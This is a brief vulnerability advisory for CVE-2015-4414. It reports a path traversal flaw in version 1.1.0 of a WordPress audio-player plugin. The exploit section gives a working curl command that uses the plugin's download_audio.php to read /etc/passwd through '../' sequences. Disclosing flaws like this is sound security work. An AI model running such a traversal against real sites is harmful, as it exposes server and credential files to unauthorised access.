Path Traversal vulnerability in Wordpress plugin se-html5-album-audio-player v1.1.0

#876 · 2015-06-06

CVE ID(s): CVE-2015-4414

Notified: 2015-06-06

Description:

An HTML5 Album Audio Player. A plugin to archive, present, and play collections of mp3s (or other html5 audio formats) as albums within your post.

Exploit:

$ curl http://www.vapidlabs.com/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd

Download: https://wordpress.org/plugins/se-html5-album-audio-player/

URL: http://www.vapid.dhs.org/advisory.php?v=124